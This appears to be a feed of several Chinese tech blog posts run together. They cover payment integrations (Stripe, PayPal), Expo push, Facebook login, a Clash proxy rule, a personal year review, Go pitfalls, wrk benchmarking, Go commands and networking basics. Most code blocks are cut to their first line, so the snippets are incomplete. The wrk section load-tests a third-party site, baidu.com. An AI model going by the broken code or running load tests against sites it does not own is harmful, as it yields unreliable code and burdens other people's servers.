:设置前 24 位为网络位,后 8 位为主机位,该网段可用 IP 地址:172.20.0.1
到 172.20.0.254
1 | sudo docker run -it \ |
--net
:指定自定义网络--ip
:选定自定义网络下固定 IP 地址查看容器 IP:
1 | $ docker inspect --format='{{.Name}} - {{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $(docker ps -aq) |
Stripe 的文档很齐全,如果不知道选择何种支付方式,或者找不到对应支付方式文档在哪,可以看看 Stripe 的建议。
首先安装依赖包:
1 | $ composer require stripe/stripe-php |
这种方式是通过在网站上添加一个结账按钮,调用 Stripe Api 创建 Checkout Session,将客户重定向到 Stripe Checkout。
这种方式适用于,线上(Web)收款,如果需要通过 App 进行收款,可以继续往下看 App 的收款方式。
服务端代码:
1 | public function createPayOrderByCheckout() |
这种方式是 App 端确认好商品信息,点击下单按钮,服务端调用 Stripe Api 创建支付订单,并返回支付信息给客户端,拉起支付,用户完成支付,通过设置的 Webhook 进行回调通知。
服务端创建支付订单 Api:
1 | public function createPayOrderByApp(array $orderInfo) |
服务端回调 Api:
1 | public function webhook() |
退款 Api:
1 | public function refund($orderInfo) |
而 Expo Push 是 Expo 的推送服务。
推送逻辑如下:
因为使用 Expo Push 时,需要提供 ExponentPushToken,而这个 Token 需要通过设备才能拿到,因此需要在本地起一个服务,最终通过手机或模拟器运行。
在正式使用之前,需要先把以下工具安装好:
后续都是使用 Expo CLI 这个工具来管理服务的,可以通过 npx(一个 Node.js 包运行器)来使用它。无需额外安装。
打开终端,通过 Expo CLI 进行登录:
1 | $ npx expo login |
如果没有账号,需要先注册一个 Expo 账号。
创建一个 Expo App:
1 | $ npx create-expo-app my-app && cd my-app |
将App.js
替换成以下内容:
1 | import { StatusBar } from 'expo-status-bar'; |
启动服务:
1 | npx expo start |
顺利的话,应该能看到以下输出,此时需要拿出手机,打开应用商店,搜索安装 Expo 这个 App,然后扫猫下面的这个二维码:
接下来,只需要服务端接入 Expo Push 就可以了。Expo 提供了各种语言的推送服务。
下面使用 PHP 接入。
首先安装依赖包:
1 | $ composer require ctwillie/expo-server-sdk-php |
调用实例:
1 | public function push(string $title, string $body, array $expoPushToken) |
只需要很少的代码,就可以完成推送了,Expo Push 还支持很多其他参数,可以实现更多需求。
可以直接调用上面的代码,进行推送测试,也可以通过 Expo 提供的在线工具进行测试。
因为一些原因,没有使用 PayPal 官方推荐的 Braintree 聚合支付,而是使用原生的 Rest Api。
官方为 Rest Api 封装了一个 SDK,虽然已经很久没有更新了,不过好在做了向下兼容,只是版本低一些,好在还能用。
在正式介绍之前,先来了解一下 PayPal 支付的流程:
execute()
方法,发送支付请求这个支付流程,和平常见到的支付宝支付流程,有所区别。
支付宝的支付流程是,只需要获取支付 url,然后去支付宝网站里面完成支付,最后异步通知。
PayPal 支付则有所区别,PayPal 返回的 approval_url 只是获取用户授权,最终还是需要回到自己的网站再一次请求 PayPal 进行支付,最后才是异步通知。
通过 Composer 安装SDK:
1 | $ composer require paypal/rest-api-sdk-php |
创建支付订单:
1 | class PaypalStrategy implements PaymentStrategy |
1 | // 同步支付回调(用于获取付款人 ID) |
授权完成之后,PayPal 会重定向至 redirectUrl,并携带 paymentId 和PayerID,拿到这两个参数之后,最后发起支付请求。
PayPal 支付异步回调,主要是两个 Event Type:
PAYMENTS.PAYMENT.CREATED
:表示支付创建完成,即支付请求已经被创建并准备好向用户展示。这个 Event Type 触发的条件是:当 PayPal 收到一个支付请求并且准备好向用户展示时,会向 Webhooks 发送一个 PAYMENTS.PAYMENT.CREATED
的事件。PAYMENT.SALE.COMPLETED
:表示销售完成,即支付已经完成并且相关的款项已经被转移。这个 Event Type 触发的条件是:当 PayPal 支付完成并且相关款项已经被转移时,会向 Webhooks 发送一个 PAYMENT.SALE.COMPLETED
的事件。1 | // 异步支付回调 |
1 | // Paypal 退款 |
退款需要用到付款人 ID,可以在支付异步回调时,保存下来。
退款记录:
上面的示例代码,并不能放到项目中使用,需要调整部分参数。
使用 PayPal 的沙盒账号,登录到Sandbox,可以看到交易记录及退款记录:
如果有其他技术问题,可以提交工单。
首先注册一个 Facebook 开发者账号。
成功登录之后,需要先创建一个应用。
此时需要选择一个类型,因为是对接 Facebook 登录,因此选择『消费者』类型就好了。
点击下一步继续,填写完基本信息,点击创建应用即可。
为应用添加产品,选择 Facebook 登录:
添加完产品之后,还需要进行 OAuth 客户端授权设置,主要是设置有效 OAuth 跳转 URI。
控制面板下,可以看到应用编号和应用密钥,后面会用到。
核心逻辑如下:
服务端接入,安装 facebook sdk:
1 | composer require facebook/graph-sdk |
登录 API:
1 | public function facebookLogin() { |
需要注意的是,因为 Facebook 需要科学上网才能访问,如果本身在墙内,通过 SDK 请求是无法请求成功的,会得到以下错误信息:
Connection timeout after 10000 ms
此时有两种解决方案:
vendor/facebook/graph-sdk/src/Facebook/HttpClients/FacebookCurlHttpClient.php
97 line,增加:CURLOPT_PROXY => "Your local agent"
目前并不能通过在 ChatGPT 应用中,设置代理的方式来解决这个问题。
不过倒是可以通过更新 Clash 配置文件的方式,走规则代理。
打开 Clash 配置文件夹,找到当前正在使用的配置文件,编辑它。
新增以下规则:
1 | name: 🚀 ChatGPT |
放在任意一个规则下面就好了:
然后重载配置文件。
到这一步只是增加好了规则,使用时需要选择对应规则下面的节点,不然不会生效。
第一步,出站模式选择全局代理,同时选择 DIRECT 模式:
第二步,找到刚才新增的规则,选择该规则下面的节点即可:
再次访问 ChatGPT,页面正常。
今年年初给自己制定了不少目标,年底回头看看,大部分处于即将完成状态:
虽然今年在工作上,可能不怎么顺利,但好在自己的状态并没有受到太大的影响,每天过得还是挺充实的。
早睡早起,三餐不落,坚持运动。
前两天,keep 出了一个年度运动报告,当看到那些数据时,还是挺开心的,所有的汗都没有白流。
年初时,我的体重是 65kg,现在,我的体重是 62kg,虽然这两个数字并没有相差多少,但是我明显能感受到自己身体的变化。
脂肪减少了,肌肉变多了,有明显的线条了,这使得自己也更自信了。
每个月给自己拍一张照,等到年底时,回头看看自己这一年来的变化,就会惊奇地发现变化还挺大的,也算是一件挺有意思的事情。
学英语这件事情,从前年就有了想法,只是一直没有付出实际行动(背单词不算),直到今年报名了一个系统的课程。
因为这件事并不是一时兴起,因此劲头还是挺足的,期间跟着学习了十多节课。
只是后来因为工作的事情,进度给停下了。
我这个人有个不好的毛病,什么事情一旦停下,就很难再次推动,因此时常告诉自己,可以慢一些,但是不要停下。
其次就是自己这一年的职业上的收获了,因为下半年空间时间比较多,年初的目标是有足够的时间去完成的。
这一年把计算机基础给补了一下,刷了近 100 道算法题,系统学习了 Mysql,以及入门了 Go 语言。
对于这样一个结果还是挺满意的。
至于副业,截至目前,确实没有找到什么比较好的副业。
因为对烹饪还挺感兴趣的,明年打算拍一些做菜相关的视频放在短视频平台,暂时不确定,能否发展成副业。
今年失去了工作,失去了对象,两者都是我主动提出的。
八月份提的离职,休息了一个月,之后断断续续找工作,一直到现在。
现在再回头看看,并没有多后悔,只是自己应该更理性一些,疫情当下,裸辞风险实在太大了。
也正是八月份休息的那一个月,告别了长达五年的单身,同时没多久,又开启了异地恋。
刚开始还好,借着热恋期的一股劲,每天还能保持交流,后面我因为工作找的不顺,内心比较压抑,两个人交流越来越少,以至于最后几乎没有了交流。
十二月,我仔细想了想,觉得不能继续这样下去了,既然彼此已经没有了感情,就不要这样强撑着了。
于是,在某天跟她提了这事,她也很平静,因此,这段感情就这样结束了。
这两件事在现在看来都不算后悔,只是如果当初更理智一些,现在是否是另外一个结局。
这一年自己也确实改变了不少,无论是内在还是外在。
回顾这一整年的经历,有以下感悟:
1. 放弃幻想
人往往很容易犯的一个错误就是把希望寄托于未来,寄托于未来的自己。
2. 把钱花在刀刃上
买东西之前多问自己几个问题,是否真的需要这个东西?是否有替代品?现在不买行不行?
别看小件没有多少钱,数量多了,也会是一笔不小的开销。
3. 保持运动
坚持运动,不仅可以保持良好的精神状态,还可以拥有一个健康的身体。
身体才是革命的本钱,没有一个好的身体,在其他方面做得再好,也无福消受。
今年五月份,我生过一场病,虽不是什么大病,但也着实把我折磨了一段时间。
不知怎么就患上了皮肤病——玫瑰糠疹,最严重的时候,简直不忍直视,那些没有暴露在阳光之下的皮肤,全部长满了疹。
好在最后康复之后,并没有留下什么疤。
说个题外话,直到 2022 最后一天,我还没有🐏。
4. 对抗焦虑
因为对未来的不确定性,焦虑在所难免,学会如何缓解焦虑,这也算是我今年的收获之一:
5. 自信
要说今年的这段感情经历,带给我了什么,那就是她教会了我,人要自信。
当然,也不是说要盲目自信,只是不要自卑。
不要因为自己的背景、学历、外貌或者其他什么因素而看不起自己,同时自己也不要因此看不起其他人。
今年一年虽然在经济上并没有太多收入,但是在其他方面,还是收获挺多,厨艺有了长进、身体更强壮了…
新的一年即将到来,明年刚好是自己的本命年,前段时间,还花了一点钱,请人在泰国帮忙做了一个法事——化太岁,图个吉利。
新的一年,也不奢求大富大贵,平安喜乐就好。
最后用人民日报的一段话,作为 2022 的结束语:
]]>近几年大环境不好,有人生意不好做,有人失去了工作,有人欠了债,有人离散,各有各的难。但越是不顺的时候,越要沉住气。艰难的路不是谁都有资格走,扛得住涅痛,才配得上重生之美。
如果在一段时间暂时赚不到钱,你可以健身,运动,学习,把自己照顾好,多陪伴孩子,把孩子教育好,处理好家庭关系,何尝不是一种收获。
我们可以允许自己一时的不顺和失败,但咱们在跌倒爬起来的时候含着微笑,从挫折中采回胜利的花朵,是一件很酷的事情。人生是一条螺旋上升式的区县,要努力但不要着急,繁花锦簇,硕果累累,都需要一个过程。
在其他大多数语言中,{
的位置你自行决定。Go比较特别,遵守分号注入规则(automatic semicolon injection):编译器会在每行代码尾部特定分隔符后加;来分隔多条语句,比如会在 ) 后加分号:
1 | // 错误示例 |
如果在函数体代码中有未使用的变量,则无法通过编译,不过全局变量声明但不使用是可以的。即使变量声明后为变量赋值,依旧无法通过编译,需在某处使用它:
1 | // 错误示例 |
如果你 import一个包,但包中的变量、函数、接口和结构体一个都没有用到的话,将编译失败。可以使用 _
下划线符号作为别名来忽略导入的包,从而避免编译错误,这只会执行 package 的 init()
1 | // 错误示例 |
1 | // 错误示例 |
不能用简短声明方式来单独为一个变量重复声明,:=左侧至少有一个新变量,才允许多变量的重复声明:
1 | // 错误示例 |
struct 的变量字段不能使用 := 来赋值以使用预定义的变量来避免解决:
1 | // 错误示例 |
对从动态语言转过来的开发者来说,简短声明很好用,这可能会让人误会 := 是一个赋值操作符。如果你在新的代码块中像下边这样误用了 :=,编译不会报错,但是变量不会按你的预期工作:
1 | func main() { |
这是 Go 开发者常犯的错,而且不易被发现。可使用 vet工具来诊断这种变量覆盖,Go 默认不做覆盖检查,添加 -shadow 选项来启用:
1 | go tool vet -shadow main.go |
注意 vet 不会报告全部被覆盖的变量,可以使用 go-nyet 来做进一步的检测:
1 | $GOPATH/bin/go-nyet main.go |
nil 是 interface、function、pointer、map、slice 和 channel 类型变量的默认初始值。但声明时不指定类型,编译器也无法推断出变量的具体类型。
1 | // 错误示例 |
允许对值为 nil 的 slice 添加元素,但对值为 nil 的 map添加元素则会造成运行时 panic
1 | // map 错误示例 |
在创建 map 类型的变量时可以指定容量,但不能像 slice 一样使用 cap() 来检测分配空间的大小:
1 | // 错误示例 |
对那些喜欢用 nil 初始化字符串的人来说,这就是坑:
1 | // 错误示例 |
在 C/C++ 中,数组(名)是指针。将数组作为参数传进函数时,相当于传递了数组内存地址的引用,在函数内部会改变该数组的值。
在 Go 中,数组是值。作为参数传进函数时,传递的是数组的原始值拷贝,此时在函数内部是无法更新该数组的:
1 | // 数组使用值拷贝传参 |
如果想修改参数数组:
1 | // 传址会修改原数据 |
1 | // 会修改 slice 的底层 array,从而修改 slice |
与其他编程语言中的 for-in 、foreach 遍历语句不同,Go 中的 range 在遍历时会生成 2 个值,第一个是元素索引,第二个是元素的值:
1 | // 错误示例 |
看起来 Go 支持多维的 array 和 slice,可以创建数组的数组、切片的切片,但其实并不是。
对依赖动态计算多维数组值的应用来说,就性能和复杂度而言,用 Go 实现的效果并不理想。
可以使用原始的一维数组、“独立“ 的切片、“共享底层数组”的切片来创建动态的多维数组。
1.使用原始的一维数组:要做好索引检查、溢出检测、以及当数组满时再添加值时要重新做内存分配。
2.使用“独立”的切片分两步:
创建外部 slice
对每个内部 slice 进行内存分配
注意内部的 slice 相互独立,使得任一内部 slice 增缩都不会影响到其他的 slice
1 | // 使用各自独立的 6 个 slice 来创建 [2][3] 的动态多维数组 |
1.使用“共享底层数组”的切片
1 | func main() { |
更多关于多维数组的参考
和其他编程语言类似,如果访问了 map 中不存在的 key 则希望能返回 nil,比如在 PHP 中:
1 | php -r '$v = ["x"=>1, "y"=>2]; @var_dump($v["z"]);' |
Go 则会返回元素对应数据类型的零值,比如 nil、’’ 、false 和 0,取值操作总有值返回,故不能通过取出来的值来判断 key 是不是在 map 中。
通常使用 comma ok 惯用法来判断 key 是否存在:
1 | // 错误的 key 检测方式 |
尝试使用索引遍历字符串,来更新字符串中的个别字符,是不允许的。
string 类型的值是只读的二进制 byte slice,如果真要修改字符串中的字符,将 string 转为 []byte 修改后,再转为 string 即可:
1 | // 修改字符串的错误示例 |
注意: 上边的示例并不是更新字符串的正确姿势,因为一个 UTF8 编码的字符可能会占多个字节,比如汉字就需要 3~4
个字节来存储,此时更新其中的一个字节是错误的。
更新字串的正确姿势:将 string 转为 rune slice(此时 1 个 rune 可能占多个 byte),直接更新 rune 中的字符
1 | func main() { |
当进行 string 和 byte slice 相互转换时,参与转换的是拷贝的原始值。这种转换的过程,与其他编程语的强制类型转换操作不同,也和新 slice 与旧 slice 共享底层数组不同。
Go 在 string 与 byte slice 相互转换上优化了两点,避免了额外的内存分配:
对字符串用索引访问返回的不是字符,而是一个 byte 值。
这种处理方式和其他语言一样,比如 PHP 中:
1 | php -r '$name="中文"; var_dump($name);' # "中文" 占用 6 个字节 |
如果需要使用 for range
迭代访问字符串中的字符(unicode code point / rune
),标准库中有 "unicode/utf8"
包来做 UTF8
的相关解码编码。另外 utf8string
也有像 func (s *String) At(i int) rune
等很方便的库函数。
string 的值不必是 UTF8 文本,可以包含任意的值。只有字符串是文字字面值时才是 UTF8 文本,字串可以通过转义来包含其他数据。
判断字符串是否是 UTF8 文本,可使用 “unicode/utf8” 包中的 ValidString() 函数:
1 | func main() { |
在 Python 中:
1 | data = u'♥' |
然而在 Go 中:
1 | func main() { |
Go 的内建函数 len() 返回的是字符串的 byte 数量,而不是像 Python 中那样是计算 Unicode 字符数。
如果要得到字符串的字符数,可使用 “unicode/utf8” 包中的 RuneCountInString(str string) (n int)
1 | func main() { |
注意: RuneCountInString 并不总是返回我们看到的字符数,因为有的字符会占用 2 个 rune:
1 | func main() { |
最开始的时候,用户量很少,一天就几百上千个请求,此时一台服务器就完全足够。
Java、Python、PHP或者其他后端语言开发一个Web后端服务,再用一个MySQL来存储业务数据,它俩携手工作,运行在同一台服务器上,对外提供服务。
随着数据量增加、访问量增加,MySQL 会出现查询变慢,Web 服务会出现访问变慢。
解决方案:
数据量还在继续增加,单台服务器已经不能满足需求了。
解决方案:
数据的压力继续增大,数据库仍然是瓶颈。
解决方案:
随着流量继续增加,业务逻辑会变得越来越复杂,代码也会越来越复杂。
解决方案:
此时设计到这里,已经完全可以支撑百万级的数据。
Mysql 天生适合海量的数据存储,不适合海量数据的查询,所以此时数据的查询就成了瓶颈。
解决方案:
解决方案:
引入搜索引擎之后,还可以对架构进行优化。
上面就是从最简单的单机到复杂集群的高并发演进之路,架构设计到最后,做好集群的话,支持亿级的数据是没有问题的。
其中的搜索引擎,消息队列等都是可以替代的。
高可用、高并发、高性能是一个很大的话题,它所涵盖的东西其实不止上面这些内容,其中每一个模块拿出来都可以扩展出很多知识点。
]]>json 结构体标签,常见的关键字有 omitempty
和 -
,下面一起来看一下,这几种的区别。
示例代码如下:
1 | type User struct { |
运行上面的示例代码,得到以下输出:
1 | {"Id":"1","Name":"张三"} :只会打印出首字母大写的 field,首字母小写的 field 只允许在包内使用,没有使用 json 结构体标签,序列化之后的 json 数据,field 不会发生变化 |
json:"field"
格式的结构体,在初始化时,field 字段不能省略,否则会编译错误json:"nickname,omitempty"
格式的结构体,在初始化时,field 字段可以省略。当省略 field 字段进行赋值时,序列化之后的 json 也不会包含该字段,反之则会包含json:"-"
格式的结构体,初始化时,无论是否赋值,序列化之后的 json 都不会包含该字段wrk 是一款针对 Http 协议的基准测试工具,它能够在单机多核 CPU 的条件下,使用系统自带的高性能 I/O 机制,如 epoll,kqueue 等,通过多线程和事件模式,对目标机器产生大量的负载——Github
wrk 的优势:
wrk 的安装非常简单:
1 | $ brew install wrk |
1 | $ sudo apt-get update |
验证是否安装成功:
1 | $ wrk -v |
wrk 命令格式如下:
1 | $ wrk <options> <url> |
其中常用参数如下:
利用 wrk 对 www.baidu.com
发起压力测试,线程数为 4,模拟 300 个并发请求,持续 30 秒,并在压测结束之后,打印延迟统计信息。
go env
是非常常用的命令,用于查看当前的 go 环境信息。
后面跟上环境变量名称,则可以输出对应环境变量的值:
1 | $ go env GOROOT |
如果要修改某一个环境变量的值,那么该如何修改呢?
不同的操作系统,修改的位置不同:
~/.bashrc
或 ~/.bash_profile
文件~/.zshrc
文件1 | # 更新环境变量的值 |
添加以上内容到环境配置文件中,并保存,执行source ~/.zshrc
命令刷新环境变量即可。
go build
也是非常常用的命令,用于对 Go 程序进行编译,命令格式如下:
1 | $ go build [-o output] [-i] [build flags] [packages] |
有两种情况:
如果当前目录下有多个文件,却只想编译某个文件,可以在命令后面指定文件名称:
1 | $ go build main.go |
Go提供了编译链工具,可以让我们在任何一个开发平台上,编译出其他平台的可执行文件。
默认情况下,都是根据当前的机器生成的可执行文件,如果需要在当前环境编译出其他操作系统的可执行文件,那么使用下面的命令:
1 | $ GOOS=linux GOARCH=amd64 go build bash |
GOOS 表示的是操作系统的名称,GOARCH 表示的是目标处理器的架构。
go build
命令是对程序进行编译,go run
则是对程序进行运行,相当于是把编译和执行二进制文件这两步,合并成了一步:
1 | $ go run hello.go |
go install
和 go build
类似,不过它可以在编译后,会把生成的可执行文件或者库安装到对应的目录下,以供使用。
它的用法和 go build
差不多,如果不指定一个包名,就使用当前目录。安装的目录都是约定好的,如果生成的是可执行文件,那么安装在 $GOPATH/bin
目录下;如果是可引用的库,那么安装在 $GOPATH/pkg
目录下。
有时候一些第三方的依赖会提供一些命令行工具,这个时候就会用到 go install
命令进行安装了,例如安装 Air:
1 | $ GO111MODULE=on go install github.com/cosmtrek/air@latest |
go get
命令也是十分常用的,用于下载更新指定的包以及依赖的包,并对它们进行编译和安装。
如果需要更新某个依赖包,则加上 -u
参数:
1 | $ go get -u golang.org/x/sys |
下载下来的依赖包,全部在 $GOPATH
目录下。
go fmt
用于统一代码风格,go fmt
会自动格式化代码文件并保存,它本质上其实是调用的 gofmt -l -w
这个命令。
使用 GoLand 进行开发时,每次编辑完一个文件,都会自动进行 gofmt
格式化。
go test
命令用于Go 的单元测试,它也是接受一个包名作为参数,如果没有指定,使用当前目录。 go test
运行的单元测试必须符合 Go 的测试要求。
1 | package test |
这是一个单元测试,保存在 default_test.go
文件中。 如果要运行这个单元测试,在该文件目录下,执行 go test default_test.go
即可。
1 | $ go test default_test.go |
go vet
命令用于检查代码中常见的错误,其中包括:
1 | package main |
这是一个很明显的错误例子,格式字符串中没有占位符,使用 go vet
命令就可以发现这个错误:
1 | $ go vet hello.go |
使用 GoLand 进行开发时,对于这种类型的错误,编译器会给出一个警告。
go list
命令的作用是列出指定的代码包的信息。
查看当前包所使用的所有第三方依赖:
1 | $ go list -m all |
go list
命令还有许多其他用法,通过 go help list
进行查看。
IP 地址用于找到计算机,但是对于人类来说却是一个麻烦问题,因为很难记忆。
为了解决这一问题, 运营而生的便是 DNS 域名解析,DNS 可以将域名网址自动转换为具体的 IP 地址。
在一个完整的域名中,越靠右的位置表示其层级越高。
比如 server.com
这个域名的层级关系:
根域的 DNS 服务器信息保存在互联网中所有的 DNS 服务器中。这样一来,任何 DNS 服务器就都可以找到并访问 根域 DNS 服务器了。
因此,客户端只要能够找到任意一台 DNS 服务器,就可以通过它找到根域 DNS 服务器,然后再一路顺藤摸瓜找到 位于下层的某台目标 DNS 服务器。
浏览器首先看一下自己的缓存里有没有,如果没有就向操作系统的缓存要,还没有就检查本机域名解析文件 hosts,如果还是没有,就会 DNS 服务器进行查询,查询的过程如下:
www.server.com
的 IP 是啥,并发给本地 DNS 服务器(也就是客户端的 TCP/IP 设置中填写的 DNS 服务器地址)。www.server.com
,则它直接返回 IP 地址。如果没有,本地 DNS 会去问它的根域名服务器:“老大, 能告诉我 www.server.com
的 IP 地址吗?” 根域名服务器是最高层次的,它不直接用于域名解析,但能指明一条道路。www.server.com
这个域名归 .com 区域管理”,我给你 .com 顶级域名服务器地址给你,你去问问它吧。”www.server.com
的 IP 地址吗?”www.server.com
区域的权威 DNS 服务器的地址,你去问它应该能问到”。www.server.com
对应的IP是啥呀?” server.com 的权威 DNS 服务器,它是域名解析结果的原出处。为啥叫权威呢?就是我的域名我做主。X.X.X.X
告诉本地 DNS。DNS 域名解析的过程蛮有意思的,整个过程就和我们日常生活中找人问路的过程类似,只指路不带路。
HTTP 是超文本传输协议,也就是 HyperText Transfer Protocol。
超文本传输协议可以拆成三个部分:
1. 协议
协议的概念是:必须有两个以上的参与者,同时对参与者的一种行为约定和规范。
针对 HTTP 协议,可以这么理解:
HTTP 是一个用在计算机世界里的协议。它使计算机能够理解的语言确立了一种计算机之间交流通信的规范(两个以上的参与者),以及相关的各种控制和错误处理方式(行为约定和规范)。
2. 传输
HTTP 是一个在计算机世界里专门用来在两点之间传输数据的约定和规范。
3. 超文本
超文本就是超越了普通的文本,它是文字、图片、视频等的混合体,最关键有超链接,能从一个超文本跳转到另外一个超文本。
对于超文本传输协议,下面这个解释更为准确:
HTTP 是一个在计算机世界里专⻔在「两点」之间「传输」文字、图片、音频、视频等「超文本」数据的「约定和规范」。
1xx
1xx 类状态码属于提示信息,是协议处理中的一种中间状态,实际用到的比较少。
2xx
2xx 类状态码表示服务器成功处理了客户端的请求。
3xx
3xx 类状态码表示客户端请求的资源发送了变动,需要客户端用新的 URL 重新发送请求获取资源,也就是重定向。
4xx
4xx 类状态码表示客户端发送的报文有误,服务器无法处理,也就是错误码的含义。
5xx
5xx 类状态码表示客户端请求报文正确,但是服务器处理时内部发生了错误,属于服务器端的错误码。
首部字段 | 含义 | 示例值 |
---|---|---|
Host 字段 | 服务器的域名 | www.baidu.com |
Content-Length | 服务器回应的数据⻓度(字节) | 1357 |
Connection | 客户端要求服务器使用 TCP 持久连接 | keep-alive |
Content-Type | 服务器响应时,告诉客户端本次数据是什么格式以及编码 | text/html; charset=utf-8 |
Content-Encoding | 服务器返回的数据使用了什么压缩格式 | gzip |
这里讨论的 HTTP,指的是 HTTP(1.1)。
HTTP 最凸出的优点是「简单、灵活和易于扩展、应用广泛和跨平台」。
1. 简单
HTTP 基本的报文格式就是 header + body ,头部信息也是 key-value 简单文本的形式,易于理解,降低了学 习和使用的⻔槛。
2. 灵活和易于扩展
HTTP协议里的各类请求方法、URI/URL、状态码、头字段等每个组成要求都没有被固定死,都允许开发人员自定义和扩充。
3. 应用广泛和跨平台
互联网发展至今,HTTP 的应用非常广泛,从台式机的浏览器到手机上的各种 APP,HTTP 的应用遍地开花,同时天然具有跨平台的优越性。
HTTP 协议里有优缺点一体的双刃剑,分别是「无状态、明文传输」,同时还有一大缺点「不安全」。
无状态的好处,因为服务器不会去记忆 HTTP 的状态,所以不需要额外的资源来记录状态信息,这能减轻服务器的负担,能够把更多的 CPU 和内存用来对外提供服务。
无状态的坏处也很明显,服务器没有“记忆能力”,没法知道用户的身份。
明文意味着在传输过程中的信息,是可方便阅读的,通过浏览器的 F12 控制台或 Wireshark 抓包都可以直接肉眼查看,为我们调试工作带了极大的便利性。
但是这正是这样,HTTP 的所有信息都暴露在了光天化日下,相当于信息裸奔。在传输的漫⻓的过程中,信息的内 容都毫无隐私可言,很容易就能被窃取。
HTTP 比较严重的缺点就是不安全:
HTTP 的安全问题,可以用 HTTPS 的方式解决,也就是通过引入 SSL/TLS 层,使得在安全上达到了极致。
HTTP 协议是基于 TCP/IP,并且使用了「请求 - 应答」的通信模式,所以性能的关键就在这两点里。
早期 HTTP/1.0 性能上的一个很大的问题,那就是每发起一个请求,都要新建一次 TCP 连接(三次握手),而且是串行请求,做了无谓的 TCP 连接建立和断开,增加了通信开销。
为了解决上述 TCP 连接问题,HTTP/1.1 提出了⻓连接的通信方式,也叫持久连接。这种方式的好处在于减少了 TCP 连接的复建立和断开所造成的额外开销,减轻了服务器端的负载。
持久连接的特点是,只要任意一端没有明确提出断开连接,则保持 TCP 连接状态。
HTTP/1.1 采用了⻓连接的方式,这使得管道(pipeline)网络传输成为了可能。
即可在同一个 TCP 连接里面,客户端可以发起多个请求,只要第一个请求发出去了,不必等其回来,就可以发第 二个请求出去,可以减少整体的响应时间。
举例来说,客户端需要请求两个资源。以前的做法是,在同一个TCP连接里面,先发送 A 请求,然后等待服务器做 出回应,收到后再发出 B 请求。管道机制则是允许浏览器同时发出 A 请求和 B 请求。
但是服务器还是按照顺序,先回应 A 请求,完成后再回应 B 请求。要是前面的回应特别慢,后面就会有许多请求 排队等着。这称为「队头堵塞」。
「请求 - 应答」的模式加剧了 HTTP 的性能问题。
因为当顺序发送的请求序列中的一个请求因为某种原因被阻塞时,在后面排队的所有请求也一同被阻塞了,会导致客户端一直请求不到数据,这也就是「队头阻塞」。好比上班的路上塞⻋。
HTTPS 在 HTTP 与 TCP 层之间加入了 SSL/TLS 协议,可以很好的解决了上述的⻛险:
1. 混合加密
混合加密的方式实现信息的加密传输,解决了窃听的风险。
HTTP 采用的是对称加密和非对称加密结合的『混合加密』方式:
之所以这么做的原因是因为:
2. 摘要算法
摘要算法用来实现完整性,能够为数据生成独一无二的「指纹」,用于校验数据的完整性,解决了篡改的⻛险。
客户端在发送明文之前会通过摘要算法算出明文的「指纹」,发送的时候把「指纹 + 明文」一同加密成密文后,发 送给服务器,服务器解密后,用相同的摘要算法算出发送过来的明文,通过比较客户端携带的「指纹」和当前算出 的「指纹」做比较,若「指纹」相同,说明数据是完整的。
3. 数字证书
客户端先向服务器端索要公钥,然后用公钥加密信息,服务器收到密文后,用自己的私钥解密。
这就存在一些问题,如何保证公钥不被篡改和信任度?
所以这里就需要借助第三方权威机构 CA (数字证书认证机构),将服务器公钥放在数字证书(由数字证书认证 机构颁发)中,只要证书是可信的,公钥就是可信的。
通过数字证书的方式保证服务器公钥的身份,解决冒充的⻛险。
]]>TCP 是面向连接的、可靠的、基于字节流的传输层通信协议。
简述三次握手过程:
为什么 TCP 握手是三次,不是两次或者四次?
因为三次握手才能保证双方具有接收和发送的能力。这个回答没有问题,但是比较片面,没有说出主要原因。
不使用「两次握手」和「四次握手」的原因:
四次挥手过程:
可以看到,每个方向都需要一个 FIN 和一个 ACK,因此通常被称为四次挥手。
为什么要四次挥手?
两次握手就可以释放一端到另一端的 TCP 连接,而完全释放连接则一共需要四次握手。
TCP 和 TDP 区别:
1. 连接
2. 服务对象
3. 可靠性
4. 拥塞控制、流量控制
5. 首部开销
6. 传输方式
7. 分片不同
IP 在 TCP/IP 参考模型中处于第三层,也就是网络层。
网络层的主要作用是:实现主机与主机之间的通信,也叫点对点(end to end)通信。
IP 的作用是在复杂的网络环境中,将数据包发送给最终目的主机。
IP 的作用是主机之间进行通信的,而 MAC 的作用是实现『直连』的两个设备之间通信,而 IP 则负责在「没有直连」的两个网络之间进行通信传输。
举个栗子。
小林要去一个很远的地方旅行,制定了一个行程表,其间需先后乘坐⻜机、地铁、公交⻋才能抵达目的地,为此小林需要买⻜机票,地铁票等。
⻜机票和地铁票都是去往特定的地点的,每张票只能够在某一限定区间内移动,此处的「区间内」就如同通信网络中数据链路。
在区间内移动相当于数据链路层,充当区间内两个节点传输的功能,区间内的出发点好比源 MAC 地址,目标地点 好比目的 MAC 地址。
整个旅游行程表就相当于网络层,充当远程定位的功能,行程的开始好比源 IP,行程的终点好比目的 IP 地址。
如果小林只有行程表而没有⻋票,就无法搭乘交通工具到达目的地。相反,如果除了⻋票而没有行程表,恐怕也很难到达目的地。因为小林不知道该坐什么⻋,也不知道该在哪里换乘。
因此,只有两者兼备,既有某个区间的⻋票又有整个旅行的行程表,才能保证到达目的地。与此类似,计算机网络 中也需要「数据链路层」和「网络层」这个分层才能实现向最终目标地址的通信。
还有要一点,旅行途中我们虽然不断变化了交通工具,但是旅行行程的起始地址和目的地址始终都没变。其实, 在网络中数据包传输中也是如此,源IP地址和目标IP地址在传输过程中是不会变化的,只有源 MAC 地址和目标 MAC 一直在变化。
在 TCP/IP 网络通信时,为了保证能正常通信,每个设备都需要配置正确的 IP 地址,否则无法实现正常的通信。
IP 地址(IPv4 地址)由 32 位正整数来表示,IP 地址在计算机是以二进制的方式处理的。
而人类为了方便记忆采用了点分十进制的标记方式,也就是将 32 位 IP 地址以每 8 位为组,共分为 4 组,每组以 「 . 」隔开,再将每组转换成十进制。
IP地址由网络号(包括子网号)和主机号组成,网络地址的主机号为全0,网络地址代表着整个网络。
广播地址通常称为直接广播地址,是为了区分受限广播地址。
广播地址与网络地址的主机号正好相反,广播地址中,主机号为全1。当向某个网络的广播地址发送消息时,该网络内的所有主机都能收到该广播消息。
D类地址就是组播地址。
先回忆下A,B,C,D类地址吧:
注:只有A、B、C 有网络号和主机号之分,D类地址和E类地址没有划分网络号和主机号。
该IP地址指的是受限的广播地址。受限广播地址与一般广播地址(直接广播地址)的区别在于,受限广播地址只能用于本地网络,路由器不会转发以受限广播地址为目的地址的分组;一般广播地址既可在本地广播,也可跨网段广播。
